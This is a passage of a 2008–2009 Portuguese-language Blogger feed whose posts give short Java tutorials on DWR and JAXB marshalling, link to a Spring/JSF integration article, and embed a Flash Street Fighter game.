/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jefersonmachado.blogspot.com/2008/07/integrando-spring-jsf.html" target="_blank"&gt;http://jefersonmachado.blogspot.com/2008/07/integrando-spring-jsf.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vlw 7'faca abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-2189205141626797482?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/2189205141626797482/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=2189205141626797482&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2189205141626797482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2189205141626797482'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/08/integrando-spring-com-jsf.html' title='Integrando Spring com JSF'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7538489762368620221</id><published>2008-08-28T09:49:00.000-07:00</published><updated>2008-08-28T12:38:36.294-07:00</updated><title type='text'>DWR, uma boa dica pra se estudar.</title><content type='html'>URL DWR: &lt;a href="https://dwr.dev.java.net/" target="_blank"&gt;https://dwr.dev.java.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DWR:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Com essa API você consegue utilizar classes jav&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;a d&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;entro de um Xhtml&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;, o que mais você precisa para sua camada de interface? vejam o exemplo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;label style="background-color:#eeeeee"&gt;&lt;br /&gt;&lt;br /&gt;public class MinhaClasse {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   private String minhaString1;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;   private Long meuLong2;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;   private Integer meuInteger3;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public String getMinhaString1() {&lt;br /&gt;    return minhaString1;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public void setMinhaString1(String minhaString1) {&lt;br /&gt;    this.minhaString1 = minhaString1;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public Long getMeuLong2() {&lt;br /&gt;    return meuLong2;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public void setMeuLong2(Long meuLong2) {&lt;br /&gt;    this.meuLong2 = meuLong2;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public Integer getMeuInteger3() {&lt;br /&gt;    return meuInteger3;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   public void setMeuInteger3(Integer meuInteger3) {&lt;br /&gt;    this.meuInteger3 = meuInteger3;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/label&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;br /&gt; Veja agora o código Html:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;label style="background-color:#eeeeee"&gt;&lt;br /&gt;&lt;br /&gt;-- inicioBlocoJs --&lt;br /&gt;&lt;br /&gt;var umaInstanciaDaMinhaClasse = { &lt;br/&gt; &lt;br/&gt;  minhaString1:DWRUtil.getValue("minhaString1"), meuLong2:DWRUtil.getValue("meuLong2"), meuInteger3:DWRUtil.getValue("meuInteger3") &lt;br/&gt; &lt;br/&gt;  }&lt;br /&gt;&lt;br /&gt;MinhaClasse.algumMétodoOuObjetoEstatico();&lt;br /&gt;&lt;br /&gt;umaInstanciaDaMinhaClasse.getValorDaMinhaClasse();&lt;br /&gt;&lt;br /&gt;-- FimBlocoJs --&lt;br /&gt;&lt;br /&gt;&lt;/label&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7538489762368620221?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7538489762368620221/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7538489762368620221&amp;isPopup=true' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7538489762368620221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7538489762368620221'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/08/dwr-uma-boa-dica-pra-se-estudar.html' title='DWR, uma boa dica pra se estudar.'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-4390419994440482043</id><published>2008-08-01T15:14:00.000-07:00</published><updated>2009-03-03T11:29:11.197-08:00</updated><title type='text'>STREET FIGHTER RYU VERSUS SAGAT</title><content type='html'>MAIS UM GAME PARA A GALERA DO AMARELINHO&lt;br /&gt;&lt;br /&gt;Clique no flash abaixo para começar o jogo, espere carregar e utilize as setas e os botões de s a f para jogar.. na parte de cima socos, na de baixo chutes.. bem .. nao vou ensinar ninguem aqui a jogar street fighter, se virem:&lt;br /&gt;&lt;br /&gt; &lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="550" height="400"&gt;&lt;br /&gt;          &lt;param name="movie" value="http://www.tvzuka.com/jogos/Street_Fighter.swf" /&gt;&lt;br /&gt;&lt;br /&gt;          &lt;param name="quality" value="high" /&gt;&lt;br /&gt;          &lt;embed src="http://www.tvzuka.com/jogos/Street_Fighter.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="730" height="550"&gt;&lt;/embed&gt;&lt;br /&gt;        &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-4390419994440482043?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/4390419994440482043/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=4390419994440482043&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4390419994440482043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/4390419994440482043'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/street-fighter-ryu-vesus-sagat.html' title='STREET FIGHTER RYU VERSUS SAGAT'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-2398273175735618481</id><published>2008-01-03T08:04:00.000-08:00</published><updated>2009-02-11T05:23:19.476-08:00</updated><title type='text'>JAXB passos básicos</title><content type='html'>Se você ja precisou trabalhar com XML e não conhece JAXB, então seja bem vindo ao mundo das facilidades.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tudo sobre JAXB:&lt;br /&gt;&lt;a href="https://jaxb.dev.java.net/" target="_blank"&gt; Tudo sobre Jaxb &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Seguem abaixo passos básicos para se programar com JAXB ( by polentero ):&lt;br /&gt;&lt;br /&gt;1) Configure os .JAR do JAXB em sua aplicação, torne-os disponíveis em seu classpath de acordo com as necessidades técnicas de sua aplicação (o importante é deixar estas classes disponíveis no classpath, configure como achar mais apropriado):&lt;br /&gt;&lt;br /&gt;&lt;a href="https://jaxb.dev.java.net/servlets/ProjectDocumentList?expandFolder=3952&amp;folderID=0" target="_blank"&gt;Downloads do Jaxb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2) Anote sua classe para suportar Jaxb:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;@XmlRootElement&lt;br /&gt;@XmlAccessorType(XmlAccessType.FIELD)&lt;br /&gt;public class MinhaClasseAnotada {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      private String meuMetodo1;&lt;br /&gt;&lt;br /&gt;      private String meuMetodo2;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      private String getMeuMetodo2() {&lt;br /&gt;          return meuMetodo2;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      private void setMeuMetodo2(String meuMetodo2) {&lt;br /&gt;           this.meuMetodo2 = meuMetodo2;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      private String getMeuMetodo1() {&lt;br /&gt;          return meuMetodo1;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      private void setMeuMetodo1(String meuMetodo1) {&lt;br /&gt;           this.meuMetodo1 = meuMetodo1;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// pronto esta anotada, se quizer você pode especializar atributos e elementos ex:&lt;br /&gt;&lt;br /&gt;@XmlAttribute&lt;br /&gt;private Long meuId;&lt;br /&gt;&lt;br /&gt;@XmlElement(name="meu-nome")&lt;br /&gt;private String meuNome;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Com seu classpath configurado e classe anotada, execute esses simples códigos de teste:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;// Faz marshal de uma classe anotada&lt;br /&gt;Document document = null;&lt;br /&gt;try {&lt;br /&gt;   &lt;br /&gt;   DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();&lt;br /&gt;   DocumentBuilder docBuilder = null;&lt;br /&gt;   &lt;br /&gt;   docBuilder = factory.newDocumentBuilder();&lt;br /&gt;   &lt;br /&gt;   document =   docBuilder.newDocument();&lt;br /&gt;   &lt;br /&gt;   JAXBContext context = JAXBContext.newInstance( minhaClasseAnotada.getClass() );&lt;br /&gt;   Marshaller marshall = context.createMarshaller();&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   marshall.setProperty(Marshaller.JAXB_ENCODING, "ISO-8859-1");&lt;br /&gt;   marshall.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, new Boolean(true));&lt;br /&gt; &lt;br /&gt;   marshall.marshal(minhaClasseAnotada, document);&lt;br /&gt;  &lt;br /&gt;   &lt;br /&gt;  } catch (JAXBException e) {&lt;br /&gt;   IllegalStateException ex = new IllegalStateException(e.getLocalizedMessage(), e);&lt;br /&gt;   ex.setStackTrace(e.getStackTrace());&lt;br /&gt;   throw ex;&lt;br /&gt;  } catch (ParserConfigurationException e) {&lt;br /&gt;   IllegalStateException ex = new IllegalStateException(e.getLocalizedMessage(), e);&lt;br /&gt;   ex.setStackTrace(e.getStackTrace());&lt;br /&gt;   throw ex;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  // document ja pode ser usado&lt;br /&gt;  return document......&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4) Imprima o XML para testar o resultado&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;private static void printDocument(Document document ) {&lt;br /&gt;&lt;br /&gt;   TransformerFactory factory = TransformerFactory.newInstance();&lt;br /&gt;   try {&lt;br /&gt;    DOMSource source = new DOMSource(document);&lt;br /&gt;   &lt;br /&gt;    StreamResult result = new StreamResult(System.out);&lt;br /&gt; &lt;br /&gt;    Transformer transformer = factory.newTransformer();&lt;br /&gt; &lt;br /&gt;     transformer.setOutputProperty(OutputKeys.INDENT,"yes");&lt;br /&gt;    &lt;br /&gt;    transformer.transform(source, result);&lt;br /&gt; &lt;br /&gt;   } catch (TransformerConfigurationException e) {&lt;br /&gt;    e.printStackTrace();&lt;br /&gt;   } catch (TransformerException e) {&lt;br /&gt;    e.printStackTrace();&lt;br /&gt;   }&lt;br /&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dica: Você pode fazer uma classe primária que recebe o Objeto a ser transformado, faça o seu Marshaller com as características do seu projeto. &lt;br /&gt;&lt;br /&gt;Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-2398273175735618481?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/2398273175735618481/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=2398273175735618481&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2398273175735618481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2398273175735618481'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2008/11/jaxb-passos-bsicos.html' title='JAXB passos básicos'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
